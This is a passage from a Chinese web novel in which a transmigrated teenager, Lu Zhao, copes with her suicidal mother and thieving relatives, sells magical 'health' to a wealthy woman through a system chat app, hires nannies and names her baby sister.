不过病房的人都是认识她们的,见她们回来,也都看看李翠萍,又看看病房里哭唱的家属,一时间不
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知道该说什么好。
由老婆子摇头晃脑正唱的起劲,突然一个回头看到已经醒过来的李翠萍,顿时吓了一大跳:“你居然没死?”
李翠萍伤了嗓子,说话声音嘶哑,却还是扯着嗓子问:“娘,你在说什么?”
“你没死,外婆仿佛很失望。”路昭没什么表情地推着轮椅到病床边,和护士换了手,自己提着吊瓶,看着他们道:“还愣着做什么?搭把手啊!把她抬到床上去。”
由得力震惊地站在原地,根本不愿意过来。
由得贵也挎着张脸,对李翠萍的突然苏醒接受无能。
由老婆子顾不上帮忙,只一把抓住护士,问:“她这是好了?该不是回光返照吧?”
“胡说什么?已经检查过了,病人度过危险期,只要好好修养吃药,就不会有事。”
“那这,这……”
“哎你们这家人到底怎么回事?”隔壁病床的老人皱着脸说道:“病人醒来明明是好事,看看你们这一家子,反而还一副不高兴的样子,什么意思?是真巴望着自家人死还是怎么的?”
“管你屁事,我家的事用得着你来多嘴?”由得力当场就挥起了拳头。
不过那老头身边也有人在,一看他想动手,嚯一下站了起来,由得力这才讪讪地放下手,退到墙根边上蹲着了。
护士见他们指使不动,只好叫来另一个同事,俩人一起抱着李翠萍放上床。
路昭挂好吊瓶,这才拉过凳子坐下来,打开都快放凉了的拌面,埋头苦吃。
由老婆子终于找到机会,抓着李翠萍问她怎么回事,怎么突然就好了。
李翠萍能说什么?她突然就醒过来了,就这样而已。
又找医生确认了一遍,李翠萍的身体果然已经脱离危险期。
只要吃些药外加调养,应该不会有事。
由家全家的希望落空,一下子接受不了,又不甘心,居然站在医院里发起火来。
李翠萍被气的直哭,恨不能再喝一次药。路昭完全不管他们怎么闹,反正只要李翠萍不死,他们就算说破天都无济于事。
最后,吃绝户失败的由老婆子只好退而求其次,问起了工作的事。
“我问过大夫了,虽说你这会儿醒了,但是伤了身子,想要继续上班,那肯定是不行的。不然这样,你那工作,就先让给你小弟,等你好了,再让他还给你,怎么样?”
路昭掀起眼皮,看着李翠萍,想看她要说什么。
哪知道李翠萍嘴巴扯了半晌,终于说出一句完整的话来:“娘,现在不兴顶班了,工作没法儿让。”
由老婆子脸上一白,好半天才反应过来:“啊?什么意思?不能顶班了?你哄我!咱们村儿里村主任的班儿都是给他大儿顶了的。”
“那,那是好……几年的事了。”
“就是,现在已经改了,不能顶班了。大娘,您怕是不晓得吧?改革开放了,没有顶班那一说了!要是不信,你出门打听打听,都多大会儿的事情了。”
由家一家终于傻了眼。
5. 第 5 章
第五章
大概是太过失望,由家一家人那天从医院走了之后,就再也没有回来。
路昭也巴不得他们赶紧滚蛋,自然不会好奇他们去了什么地方。
趁着上午没事,她拿了李翠萍存折,从系统账户里提了几万块钱转到卡上,然后去找商场。
作为一个彻彻底底的外来者,路昭完全不知道哪儿有商场,一路上见人就打听,才终于摸到了卖手机的地方。
这会儿触屏智能机都还没有出现,商场里卖的全都是那种个头巨大的老式手机。
但在这个年代,这种手机已经十分先进的高科技了,所以贵得要死。
路昭取了钱,花了一万多,买了个翻盖智能机,又花了好几大千缴了入网费,直接忙到了下午。
不过系统的效率还是很快的,钱一交完,它就直钻进手机里,生成个聊天软件,开始提醒她看消息了。
聊天群除了群主之外,还是只有两个人,但是消息已经爆屏了,全都来自已经做过一次交易的李太太。
【你们不是说什么都能做到吗?为什么不回答?】
【我想要健康,只要能让我达成所愿,我什么都愿意付出,我有的是钱。】
路昭想了想,顶着小助手的账号问:【你有很多钱?但是根据系统扫描,你的账号里,余额不足。】
江娴音:……
好不容易等到回复的女人这才惶急慌忙地去查账。
相比起忙得接不通电话的儿女护士和菲佣,银行经理的电话还是很容易打通的。
得知她想要查询账号余额,便马上给了她回复。
并说道:“今天上午,您的账号转账两千万港币,请问这笔钱有什么问题吗?”
这可不是一笔小数目,如果不是本人操作,那就该报警了。
而众所周知,李家大太太瘫痪多年,已经很长时间没有过问过家里的生意。
而这么一大笔支出,显然不会是日常开销。
“两千万?确定是这个数字么?”
“确定。”经理十分专业,告诉她道:“如果您有疑问,我们可以帮你打印好回执票据,并亲自送上门。”
这个数目,是江娴音无论如何没有想到的。
但如果想到它和某些不可言说的事情扯上联系的话,一切好像又不是问题。
于是追问:“能查到这笔钱的取向吗?对方是那里的账户?”
“是一家咨询公司,但公司已经在两小时前注销了,要我们帮您调查这家公司吗?”
“不,不用,谢谢。”江娴音赶紧打断了他,说道:“这笔钱支出正常,不用在意。”
“好的李太太,请问您还有什么需要帮您的吗?”
“没有了。”
挂断电话,江娴音终于不得不承认,小助手的信息是正确的。
如果帮忙扶一下轮椅,就要花费两千万的话,恢复健康所需要的费用,只会更多。
但是,不论要花多少钱,她都不可能放弃的。
于是马上上线的询问:【我要回复健康,需要多少钱?】
【以你所在地的金额,为八千万。货币单位同上次交易。】
李太太:【懂了,我很快筹到钱。】
江娴音说完,马上下线了。
路昭见她下了线,也合上手机往医院赶。
李翠萍在哭,发现路昭回来了,也没有反应。
路昭松了一口气,在凳子上坐下来,休息了一会儿,问她:“饿不饿,想吃什么?”
李翠萍不说话,路昭点点头:“行,那就让护士给你开葡萄糖。”
说完还是没人搭理,她也不管了,自己去楼下买了碗面条,呼啦啦吃完后,去护士站办出院。
由家人全都不见了,路昭办理完出院,就只能自己想办法把李翠萍弄回去。
但她这会儿年纪小,又瘦成麻杆样,哪里扶得住她一个成年人?
直到她准备拿钱找人来帮忙,李翠萍才终于肯动了,掀掀嘴皮吩咐道:“扶我起来,我自己能走。”
系统的药剂很管用,帮她解了毒,又吊了两瓶水,基本自理是没什么问题了。
之前只是不想动,这会儿听到要花钱,终于愿意走了。
她自己肯走路,路昭便不用去请人,扶着女人出从医院出来,打了一辆车,直接送到家门口。
付钱时李翠萍又掀掀嘴皮想说话,可惜没能说出来,车就开走了。
路昭也不搭理她,只扶着她上楼。
艰难地爬上四楼后,一开门,好么,里面空空荡荡,跟遭了贼一样。
邻居听见动静跑过来,正要打招呼,一见这情况,都震惊得说不出话来。
这几天,唯一来家里待过的也就是由家人,那可是李翠萍的亲娘亲兄弟啊!谁能想到,他们居然趁着家里没人直接把家里搬空了?
路昭简直气笑了:“他们什么时候走的?有人看见么?”
“嗨!就昨天的事儿。我们在楼下看看见问他们,他们说是你医院里要用,来拿些被子晚上陪夜好睡觉。”
李翠萍又开始哭。
闻讯而来的邻居们也看到了家里这情况,全都你一言我一语地安慰了起来。
“阿姨,我去报警让警/察把他们抓起来,到时候你们要帮忙作证啊!”
“肯定的,那是肯定的。”
还有人说:“别着急,已经有人帮你报了,你一个小孩子可别乱跑,就在家待着。”
“哎,这叫个什么事儿啊!”女人们感叹着。
安慰了一会儿后,便动起手,帮着收拾家里。
不管怎么说,人救回来是好事,日子总要过,不收拾一下怎么行?
在他们的帮助下,屋里很快就收拾好了,连地都扫得干干净净。
路昭记下她们的面孔,一一道了谢,这才想起原身的妹妹,那个还不知道才几个月的小孩子。
“你要哭,就去屋里哭,我去把妹妹找回来。”路昭说了一声,就准备出门。
却听到女人嘶哑的声音,问她:“你怎么这么心狠?怎么一点儿都不伤心?”
“什么?”路昭简直迷茫了,她怎么心狠了?
她这几天忙来忙去的,都快成圣人了,还心狠?
但在李翠萍眼里,被亲爹抛弃,看着亲妈寻死,还被外婆一家偷了东西,这么多的惨事接连发生,而她这个女儿,居然没掉一滴泪,实在是太过心硬。
李翠萍转过身,不说话了。
路昭简直莫名其妙,翻个白眼,出去邻居家打听孩子。
好在帮这带娃的邻居就在隔壁,之前听说路昭来接妹妹,赶紧把小孩还了回来。
路昭连连道谢,把小孩抱在怀里,想了想,又道:“婶婶,你知道去哪儿找帮忙带孩子的人么?要脾气好的,爱干净,家里养过女孩儿的。”
“你问这是……”
“我妈虽然醒了,但是大夫说,她喝那药伤身,以后干不了重活儿。我想她肯定照顾不了妹妹,我又不会带孩子,就只能请人来家里帮忙了。工钱的
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话,就按照市场上的价格,你帮我打听打听,行么?”
“这不是难事,你放心,我帮你打听打听。”
“好的,多谢婶婶。”
从邻居家加回来,路昭这才有机会打量这小反派。
黑乎乎的皮肤干巴巴的脸,一头黄毛稀稀拉拉的一看就没有吃好。
就这长相……
路昭想到了什么,赶紧把孩子抱到李翠萍面前,让她看:“你快看看,这是我妹妹么?”
李翠萍觉得她有毛病,翻了个眼白,根本不想理会。
路昭犯了小说看多的后遗症,絮絮叨叨地说道:“我可是听说了,有人在医院被换了孩子,等过了十几二十年才发现。结果等找回来后,两个小孩就开始争锋相对,打的不可开交。我们这回可是在外面住了好些天,这么长时间没见妹妹,要是被换了,养着个假千金……”
“是是是,这就是二毛,你连你妹妹都不认识?”
“小孩子一天一个样,我怎么能认识?”路昭皱眉:“而且干嘛管她叫二毛?这名字也太丑了。”
“丑就别叫!”李翠萍没有一点耐心。
路昭却还在追问:“那大名呢?大名叫什么?”
“@#¥%……要什么大名。”女人口齿不清,前面几个字路昭没听清楚,但后面那句却听懂了。
她不赞同地说:“什么不能要大名?我们现在就要。”
原著当中反派的名字很随便,就叫路丑丫——是由老婆子故意给起的,就是因为嫌她吃饭多。
实际上一个小姑娘饿得跟干鬼一样,根本吃不上饭,当然也长不好看。
路昭当然不可能让她叫那名儿,于是想了想,便道:“那就我来起吧,就叫……路女王,怎么样?”
“呸!一个小丫头片子,叫什么女王,也不怕折寿。”
要说李翠萍对路昭这个大女儿是嫌弃,那对小女儿就是憎恨了。
因为她坚决认为丈夫和自己离婚,就是因为没能生儿子。
虽然事实也确实差不多是这样,但她不敢怪路德荣,只恨自己差点弄丟工作,最后让大女儿装残疾也要生,就是为了拼儿子。
结果拼了半天,还是生了个女儿。
偏偏路德荣外面的那些狐狸精,却生了儿子。这不一下子就让男人铁了心离婚,连家都不要,就直接和别人跑了。
在她心里,觉得小女儿如果是个带把的,那自己就不会被离婚,也不会变成这个鬼样子。
因此路昭给起个好名字,对她来说简直是讽刺。
路昭却翻个白眼,慢条斯理地说道:“你懂什么?三国时有个文德皇后就叫女王,人家姓郭,叫郭女王。是魏文帝曹丕的皇后。”不过说到这里,路昭摇头了:“不过话说回来,郭女王太有名,如果我妹妹叫路女王的话,容易联想到郭女王。当皇后可不是件好事……你说的对,不能用这名字。”
李翠萍本来还在为真有人叫女王这种名字而惊讶,一听她说当皇后不是好事,更震惊了。
“好大的口气,那可是皇后!怎么当皇后还不是件好事了?普通人可想都不敢想。”
“当皇后还不是要被男人压一头?要是自己能当皇帝才爽。”路昭喃喃自语:“要不就叫路……曌?这和自己的名字重音了,再换一个,就叫路……恒。如月之恒,如日之升,坚定不移,贯彻始终。”
李翠萍嘴皮动了动,又想是要嘲讽,又像是不屑。
但她最终还是没说什么,只是无所谓地哼了一声,重新躺了回去。
6. 第 6 章
第六章
李济急匆匆地从外面回来,刚走上楼梯,就对着一旁的护士生气地问:“到底怎么回事?妈咪为什么突然要卖珠宝?”
“不清楚的少爷,太太她突然请了鉴定师过来,说要把所有的珠宝和古董都拿去拍卖。”说完又加了一句:“并且,要尽快。”
“疯了!简直是疯了!”男人气呼呼地上了楼,果然看到正指挥着下人展示珠宝的母亲。
他赶紧上前阻拦,想要把人赶走。然而一向和颜悦色的女人,此时却难得地冷了脸。
“你想阻拦我卖古董也行,那你就给我拿钱。”
“母亲您要多少,直接告诉我不就行了?我李家,什么时候沦落到需要卖珠宝为生?”
“好啊!我需要两亿现金,三天之内,你拿给我。”
李济大惊失色:“母亲,你要这么多钱做什么?”
“要钱做什么?自然是花呀!不然呢!”江娴音怒道:“你若是拿不出来,就立刻从这里滚出去,不要耽误我和经理谈事情。”
“疯了疯了,简直是疯了!”男人马上给妹妹打电话,让她赶紧回来劝母亲。
更警告所有人瞒着消息千万不要传到父亲那里去。
只是他的话,马上惹怒了病重多年的女人。
她像一头发狂的母狮,气势汹汹地喝问:“我花我的钱,什么时候轮得到你管?是不是在你眼里,我这个瘫痪在床的老女人,根本没有资格花自己的钱?”
“妈咪,我不是那个意思的!”
“不是那个意思就出去!滚得远远儿的,别让我看见你。”
李济被气得昏头,却无话可说。
他当然不是觉得自己的母亲花钱有什么问题,李氏家大业大,作为李家明媒正娶的大房太太,她花钱当然是理所当然的事。
但是花点儿零钱买买珠宝,买买皮包,和两亿现金不是一回事情。
再加上她重病在床,又上了年纪,谁知道是不是被人哄骗着,要做什么糊涂事情?
对!
必定是身边的人做了什么哄得她甘愿出钱的,否则他想象不出来,一个时日无多的老妇,会有什么地方需要花钱花出两亿。
“来人,把所有人都给我叫我来!”男人一声令下,吩咐道:“我倒是要看看,是谁胆大包天,居然敢骗我妈咪!”
楼下的动静,江娴音自然听了个一清二楚。
但是她暂时不打算理会。
两亿不过是她为了以防万一还有其他用处故意夸大了数字,实际上根本用不到那么多。
她只需要八千万,这些钱虽然不少,但对她这样身份的人来说,就不是什么大数目了。
变卖珠宝古董,不过是做个姿态而已。
八千万,以她的身份,只要开口,就能借到一大半。她自己只需要再补一部分就凑齐了。
一想到自己马上就能恢复健康重新站起来,她就激动得无以言表。
快了,快了!她知道自己很快就能重新站起来,走到那对狗男女面前,狠狠打他们的脸。
他们不是还要举办婚礼,像正常夫妇一样结为结婚么?
呵!她倒要看看,有她在,她这个妾,有什么资格当他的新娘子!
*
李家招贼了,这事儿很快就像风一样传了出去。
当天傍晚警察也来做了笔录,询问了情况。路昭不用多说,光靠邻居们,就已经把事情的前因后果解释得差不多了。
警察让他们不要着急,既然有明确的怀疑对象,那想要找到他们还是很容易的。
路昭当然不着急,她第二天早早起了床,先去去楼下吃了饭,又买了一些麦乳精,罐头,点心之类的礼品,一家一家送,感谢邻居们这段时间的关照。
尤其是刘婶婶一家,帮忙照顾了路恒那么长时间,不表示一下总不行。
因此路昭最后去的他们家,送的东西自然也和其他人不同。
刘婶婶推辞不要,在路昭的坚持之下终于还是收了,并连连感叹路昭长大了,还告诉她保姆的事情很快会有消息。
路昭道了谢,回家开始做饭。
可惜她的厨艺实在一般,煮了一锅米,下面焦了一大半。只能又把饭铲出来烧水下面。
李翠萍骂骂咧咧说她浪费粮食,被路昭当场怼了回去。
“嫌我浪费粮食,你就起来做,等着吃的人没有资格指责别人。”
“你还有理了?这里的米面都是我买的,你才没资格吃。”
“我是未成年,你生了我就得养,这是责任。还有,我从头到尾没惹过你,你要是一天到晚抓着我撒气,可别怪我不客气,我的耐心很有限,没心情看你成天发癔症。”
“你……”李翠萍睁大了眼睛,完全没有想到路昭敢这么和她说话。
她抓起旁边的杯子,就想朝路昭头上砸,被她一把抓住了。
她嘭地一声把杯子砸碎,捏着手上的玻璃片猛地抵住李翠萍脖子,沉声道:“我看出来了,你还是想死,是被救活了心里不高兴对么?那行,这回不用你喝药,我直下手。到时候有人问起来,就说是你自己想不开又寻死了,不会有人怀疑我。这回我一定让你死的干干脆脆又便利,绝不拖泥带水,你觉得怎么样?”
“你,你……”
她颤颤地指着路昭,嘴巴张了又合,合了又张,吓得说不出一句完整的话来。
路昭的行为对她来说太过出格了。
一个十多岁的小女孩儿,应该是文静,腼腆,内向又软弱的。过去这十几年,她也的确一直是这样。
然而现在,看着她这双冷冰冰的眼,李翠萍简直不敢相信,这是自己养了十几年的孩子。
她看上去还是那么安静,还是那么瘦弱。但是她的眼里,烧着一把火。
那火不是滚烫的,而是蓝莹莹的,鬼火一样,没有温度,像在看一个死人。
咻得一声,李翠萍突然感觉心中一抖,一种毛骨悚然的感觉悄悄爬上后背,让她起了一身鸡皮疙瘩。
原本谩骂的话被咽了回去。
因为她突然觉得,她说的是真的,自己如果真的敢惹她,她就要让自己去死。
温顺地塌下肩膀,李翠萍突然矮了一大截。
欺软怕硬的本能占了上风,让她清晰地意识到,以后再也不能这么对这个已经长大的女儿了。
“不骂了?”路昭问了一句,没有得
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到回应。
她扯过凳子坐下来,端起那碗味道诡异的面,嗦了一口,一脸扭曲地停下来。
“我要请个保姆,本来是为了照顾路恒的。不过现在看来,还得再请一个专门做饭。”
“那哪儿行?我们哪来那么多钱?”
“没钱就想办法,要么你煮饭。”路昭说道:“别想让我学,我对做饭没有一点兴趣。”
李翠萍嘴巴动了动,什么都没能说出口。
路昭又道:“我帮你问过了,厂里说你的身体不好,原来的岗位是做不了了。可以帮你调个轻松些的岗,要不要答应,你自己想。”
“不,我不调岗。”她可不想随便被安排到莫名其妙的地方去。
毕竟她的岗位,不仅仅是一份工作,那是她父亲留给她的。
李翠萍的父亲和她母亲都是李家村的人,不过由老婆子是外面逃难过来安家的,是小姓。
两人长到十几岁,就听从家里的安排结了婚。
那个年代比较难,李青石结婚没两年就去当兵了,这一走就是好些年。
刚开始还有消息,过了两年,就一点儿音信都没了。
有人说他上了战场牺牲了,有人说他执行任务失踪了。总之,等李青石回来的时候,由老婆子已经又嫁人了。
她嫁去由家生了俩儿子,女儿李翠萍也已经快十岁。
李青石回来一看,事情已经这样了,没办法,只好办了离婚,带着女儿进城去生活。
他转业安排了工作,在城里分了房,这条件,可比寻常村民要好太多了。
由老婆子一看,立刻要跟着前夫来城里,为此还和由家吵了架,死活要跟来。
可惜由家不放人,李青石也左右为难,最后请了政府人员帮忙调节,才算把事情弄清楚。
李青石本人是什么意见都没有的,他知道由老婆子是以为自己死了才改嫁,并不觉得她有错。
她想跟来也不是不行,只是他不满她因为改嫁就冷待女儿。
由老婆子当然是连哭带求指天发誓要跟着死而复活的前夫,不然就一头撞死。
没办法,人家本人不愿意,由家也不能真的强留。
但媳妇跟人跑了,总要有说法,于是要了李青石一笔钱,这才了了这孽缘。
却没有想到,由老婆子跟着去城里,不到两年,李青石就因病去世。
他本来就是因为伤病才转的业,旧伤复发连带并发症,没多久就去了。
但在去世之前,把他工作留给了李翠萍,任由老婆子怎么要死要活都没有改口。
因为这,由老婆子不仅恨上了李青石,还恨上了李翠萍。
等李青石一死,她就卷起包袱回到了老家,又跟了由家那个丈夫一起过。
后来这些年,除了打秋风,她就没和李翠萍这个女儿来往过。
一想到这些,李翠萍就泪流满面。
哭自己亲缘浅薄,父母丈夫儿女都不如愿。
越想越入迷,干脆抱着被子嚎啕大哭了起来。
路昭不知道该说什么好,正好手机提示音响了,打开一看,是‘李太太’终于发来消息,说在资金已经到位,可以做下一笔交易了。
7. 第 7 章
第七章
【八千万,我要健康,健康的站起来,和以前没有任何区别。】
小助理:【可以。】
路昭收了定向红包,立刻兑换了健康红包塞发回去。
‘李太太’收了红包,路昭这边交易款立刻到账。
‘李太太’得到了自己想要的东西,却没有马上下线。她迟疑了一会儿,问:【如果健康可以恢复的话,那年轻呢?我想变回年轻时候的样子,也可以吗?】
小助理:【恢复青春?当然可以,只要你付得起代价。】
李太太:【付得起,多少代价我都付得起。恢复青春多少钱?】
【换算成此次交易货币,约为九千万亿。】
李太太:【九千,万亿?】
这太多了,九千万亿港币,这么多钱,她就算把整个李家卖了,也不可能拿的出来。
但要让她就此作罢,却又不甘心,于是又问:【可以少一点吗?我真的没有这么多钱。】
小助理没有回应。
它从来不讨价还价。
李太太咬咬牙,最后一次问道:【那其他的东西呢?只要我能拿得出来,什么都可以。】
这一次小助理回应了:【生命。】
小助理:【不过提醒一下,介于你现在的年龄,即便没有其他外力影响,也活不了多少年。如果还要用生命来进行兑换获取青春的话,恕我直言,你余下的寿命,将非常短暂。】
生命啊!
那的确是应该谨慎的。
李太太黯然地下线了。
路昭算了下这次的收益,还掉借贷的积分后,还剩八十万。
八十万港币,听着也不少,但她要续命,也要攒积分。
生命是商店里最贵的东西,路昭花了七十万,也只买了三个月。这还是因为她在新手期,系统给的优惠。
也行,三个月,足够她再做几笔交易了。
兑换完之后准备下线。
合上手机之前,又有一个新的匿名用户上线了。路昭等了一会儿,发现对方没有说话的意思,便也没有再等,直接下线了。
路恒又在哭,李翠萍不管她,路昭也没什么办法。
她手忙脚乱地泡了奶粉,一顿奶喂完,累出一身汗。
这样下去不行,路昭又去问了一下隔壁刘婶婶,保姆到底什么时候能入户。
结果刘婶婶告诉她,说请保姆是大事,需要精挑细选才能行,让她再等等。
可路昭哪里等得了?
他们所有人都把她这个半大女孩当成壮劳力了,觉得亲妈动不了,她这个女儿还能带孩子打扫煮饭洗衣一把抓。
但路昭是个家务盲啊,她最多能把脏衣服放进洗衣机,其他的就完全不会了。
而且就算会,她也没那耐心做。
让她一个小孩子照顾全家其中一个还是奶娃娃,她大概会把他们自己搞团灭。
还是算了,路昭没时间再等,自己跑去想办法。
她没管邻居们说的考察不考察,熟人的介绍。直接坐车去了劳务市场,在人群里一个一个地挑。
这个时候外出打工还不那么流行,出来找工作的,大都是男人,只有少数女人站在角落里。
路昭一个小孩子,没有人关注,都把她当成了附近人家跑出来闲逛的小孩。
她在一众人群里看来看去,终于看上了两个人。
一个年级比较大,大概五十岁了,打扮得干干净净,衣着也得体。
她说她想找个伺候老人的工作,干活很利索,而且也很会做饭,曾经跟着父亲在国营饭店打下手。
后来饭店改私营,她也就失去了工作。路昭听说她会做饭,马上就定了她。
另一个女人,看着年纪不太大。跟着一个上了年纪的女人,也是想要当保姆。
路昭问问她们的来历,原来是从邻近省份农村出来的。
女人不是自己来,和她一起的还有七八个女人。
她们全都是老乡,其中一个是她的表姑,不仅带着她,还带着另外几个女孩子。
这些女孩儿里有的年纪大有的年纪小,有的结婚了,有的还是个书都没念完的小孩子。
她们的目标也很明确,结了婚的就去当保姆,女孩子们就去餐馆或者酒店当帮工或者服务员。
和她说话的女人就是结了婚的,生了三个孩子,全都是女孩。
因为丈夫开车摔断腿,家里没有了进项,只好自己出来找工作。
路昭觉得她挺合适,毕竟前面养过三个小孩子,都是自己亲自带出来。
当然最好的一点,是她念过书,虽然只是念完了小学,但这对比其他人来说,已经是个不可多得的优势了。
就这样,路昭和他们谈了工钱,又找了地方拟定了合同,便带着俩人回家了。
刚到筒子楼附近,就有人看到了,跑来问她带的是什么人,是不是又是老家的亲戚。
得知全都是保姆,老太太们惊呆了。
“请保姆,你一下子请两个?”
如今这时候,生活都节俭。大家都是普通人,干着普通的工作,挣着普通的工资。
既然住在筒子楼,那显然都不是什么有钱人。就连这房子,还大部分都是单位给分的。
就算家里忙不过来找保姆,那也没有一次找两个的。
听了路昭的话,都说起她来。说是小孩儿不懂事,果然只会胡裹乱。
路昭还能说什么?
也就随意地笑笑,便带着两个保姆回家了。
“家里只有三间房。”路昭把人带回来之后,向他们介绍家里的情况:“我妈住一间,你们俩住一间,我自己一间。至于我妹妹,白天桃花姐姐带,晚上就把她送到我妈房间里,让她和妈睡。”
“家里乱的很,我也不会收拾。你们先把行李放下去煮饭,等吃完了饭,再去商场买东西。你们那边的屋子堆的是杂物,待会腾出来。那架老床断了腿,也没人会修,我准备全扔了,买两个单人床,你们一个一个床。对了,你们睡觉不打呼吧?”
“不不,不打呼。”
“那就好,要是打呼还得分开睡,那我家房间就不够住了。”
“还,那有什么,就是打呼也没事儿。”
她们是来工作的,对生活条件要求不太高。
路昭无所谓,反正谁适应不了可以再换就是了,现在的问题,是有人能把路恒带起来。
见路昭没有其他话要说,两个女人立刻开始忙起来。一个去厨房烧水,问吃什么饭,一个被路昭领着,去李翠萍房间里抱小孩。
李翠萍早知道她要请保姆,却没想到她一请就请两个来,当场就骂她穷挥霍,但想到了什么,到底还是没有骂太久。
她
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是知道路德荣让人来医院给过钱的,但到底给了多少,她却不清楚。
但不管多还是少,都不该乱花,路昭一下子找这么多保姆的行为,在她看来就是发神经。
对此路昭没什么反应,她对牛桃花道:“你们的工资是我开,所以以后只用听我的,别人的话都不用管。”
“哦,好,好的。”牛桃花哪里见过这样的母女,一时间不知道说什么好。
而且她很怀疑这份工作到底靠不靠谱,家里大人不做主,从一个小孩手里拿工资?
别到时候发不出钱让她们白干吧?
把自己的担心告诉了厨师王阿姨,王阿姨想了想,道:“就说你家孩子生病要用钱,看看能不能提前支一点。”
“这成么?”牛桃花胆小,不太敢。
“行,怎么不行?咱们又不是骗人,只是支点儿工钱,活儿还是照样干的啊!”
牛桃花咬咬牙:“行,那我试试。”
路昭哪里不知道她们在担心什么?
牛桃花一问,她就直接给两人都把工资预支了。反倒弄得她们很不好意思,悄悄和她说抱歉。
路昭道:“没有,你们会这么担心是正常的,毕竟大部分人家里也不是小孩子说了算。但是我家没办法,我爸爸发达了在外面有了别的家,还给我生了一群弟弟和妹妹。我妈想不开,喝药差点儿把自己毒死,两天前才从医院出来。但她虽然出院了,身体却毁了,以后干不了重活,精神也有些问题,看谁都不顺眼。”
俩人一听到这些,都露出同情的表情。
路昭道:“这些事邻居们都知道,随便出去聊两句就清楚了,所以我不用瞒你们。不过,从今以后,家里的事是不许忘外面说的,你们出门聊天什么都好,要是把我们家里的事拿出去乱说,我可就不客气了。”
“不会,不会,我们没事聊那些做什么?”
“对,对,我们就是打工的,知道不能说主家闲话。”
但愿如此吧。不过路昭也觉得,就算要说,这家里好像也没有什么可说的。
而且就李翠萍那个性格,家里真有个什么,都不用别人,她自己就先一步嚎嚎出去了。
吃饭,打扫,给路恒洗澡,忙完就到了下午。
路昭没来得及午睡,就又带着两人去商场购物。
单人床买了两个,被褥枕头四件套,还有他们要用的洗漱用品若干。
以及路昭自己私人用品,越买越多,最后路昭连沙发都看了。
两个保姆目瞪口呆,看着路昭哗啦啦往外掏钱,豪横得不像个小小孩。
这还不够,路过五金市场的时候,她看上了人家的玻璃,居然又找了工人,说好了来给他们家重新安窗户。
由于买的东西太多,还叫了辆货车,把买的东西拉回来。
好不容易送到楼上,却发现根本没地方摆,于是又在路昭指挥下,一样一样往外扔。
好好的一个家,居然又被拆,这次她亲自上手,比由家人走时拆得还彻底。
李翠萍看着她那么胡乱造,想制止也没用,只能看着旧家具被搬走扔掉。第二天一早,更是被工人们砸窗户的动静吵醒。
等她好不容易挣扎着起来,发现家里的窗户已经被拆了一半。
路昭和两个保姆抱着小孩,在楼下院子葫芦树下面喝茶,那嚣张的样子,好像被砸的不是她家。
8. 第 8 章
第八章
路昭家里这么大动静,街坊们自然都开始上心。
之前他们家出了这么大的事儿,各家各户都同情。但是现在嘛,看她们家又是请保姆换家具,又是拆窗户按玻璃的,到底哪来那么多钱?
“还能哪儿来的钱?路德荣虽然离婚了,但总不可能什么都不给翠萍留吧?他现在发达着呢,随便给出一点儿,那也不是小数目。”
便有人被好奇心驱使着问路昭:“你爸到底给你们留了多少钱啊?怎么花的这么爽快呢?”
“我爸?他没给我们钱。”倒不是路德荣不给,是给了李翠萍不要。李翠萍就是铁了心不想离婚,但她偏偏是个磨盘。
磨盘的意思就是,嘴里心里不愿意,被人推一下却又要动弹。
据说他们离婚的那天,李翠萍又哭又闹死活不同意。但路德荣一句话都不多说,车门一开,让她上车——李翠萍就上车了。
到了民政局,她到处诉苦剖白自己劳心劳力为了一个家,让她离婚她绝不可能。
然后路德荣把签好字的离婚协议往她面前一方,扔下两个字:签名。
——她就拿起笔把名字签了。
签完后还说不肯离婚,但是,她都离了呀。
这种人就是让人不知道说什么好,他们的大脑五官和四肢,好像一直各忙各,根本没有统一意志。
她自己管不了它们,但是除了她自己之外的任何一个人,都可以轻易控制。
在这么被离了婚的情况下,李翠萍还想表达自己不肯离婚的坚定立场,对于路德荣的离婚补偿,她是一份都不肯拿的。
伤心之余,还想要证明自己的志气,可惜志气没能证明了,反而一瓶药把自己送上天。
路昭当然不会给他们糊面子,被问到哪里来的钱,就胡乱编起了借口:“我爸离婚没给钱,我妈也没钱。我花我自己的钱请保姆买东西。”
“你自己的钱?你自己哪儿来的钱?小孩子家家的,可不兴撒谎。”
“我炒股赚的呀,你们不是也炒?”
“啊?炒,炒股?”但他们炒股都是赚的少赔得多啊。
那路昭就没有办法了:“这我可教不了你们,我炒股全都靠运气。”
街坊邻居全都无话可说了。
但相信她的和不相信她的都不以为然,大部分人还是觉得,是路德荣给家里钱了。
对此李翠萍的态度又有些不同,她是知道自己没钱的,但路德荣不管给没给,都不是路昭这么霍霍钱的理由。
“他给的钱就算有剩,也不是这么花的,这沙发,这冰箱,买这些做什么?全都是浪费。”
“我不过是不喜欢住在垃圾堆而已。”
路昭想到那些被扔出去的陈年老棉花,里面长满了的霉斑,就不由自主地叹气:“你就没想过把家里重新归置一下么?路德荣发达可也有几年了。”
路德荣虽然渣,但花钱还是很大方的。
就在这种情况下,路家还住在这样的筒子楼没有搬出去,就显得非常让人不理解了。
对此李翠萍的想法是:“那钱哪能乱花?当然是得攒着。”
“是得攒着,这不攒着给我那渣爹养新老婆和新孩子去了么?”据说路德荣的私生子可不只一个,只不过生了儿子的那个成功上位了而已。
李翠萍被气的一句话都说不出来。
但是看着面前明亮不少,也宽敞了不少的房间,到底还是没再说什么。
她爬起来,终于肯动弹了,自己去重新按了淋浴的洗手间洗了澡,换了一身新衣服,开始坐在那里指挥保姆干家务。
这种一下子从长工到当家婆的身份转变,让她突然有了一种另类的爽感,连离婚之痛都不那么严重了。
路昭觉得生活终于算是走上了正轨,但她总觉得好像还缺了点儿什么。
本来以为是关于由家那一家的事情至今还没有结果。但等到学校老师找上门,路昭才想起来,自己这个年纪,是要读书的。
“我就服了,这事儿我自己没想起来,还真就没有一个人提醒我一下呀!”
邻居们没那个立场,也觉得李翠萍这回身体不好,她这个当女儿的当然离不开。
李翠萍本人么,她干脆就是没有想起来。
路昭觉得,这人真就没救了,还是等一成年,自己就赶紧滚蛋吧。
老师这次来家访,也是因为路昭上学的问题。
按理来说她这会儿应该去上高中了,但因为家里的原因,连期末考试都没有去学校,就更别提参加中考。
可问题是,她现在年纪太小了,到底是重新复读还是怎么样,总要有个计划。
总不能十来岁就辍学在家吧?那可不是学校提倡的事情。
再加上老师身为曾经的班主任,也多少知道一点儿路家的情况,这才照过来,想问问他们到底是什么安排。
“肯定是上高中,但是老师,我现在怎么办?直接留级重上初三么?”
“如果还想上学,那就只能复读。”
“可以,那我等开学?”
“还等什么开学?已经开学了。”
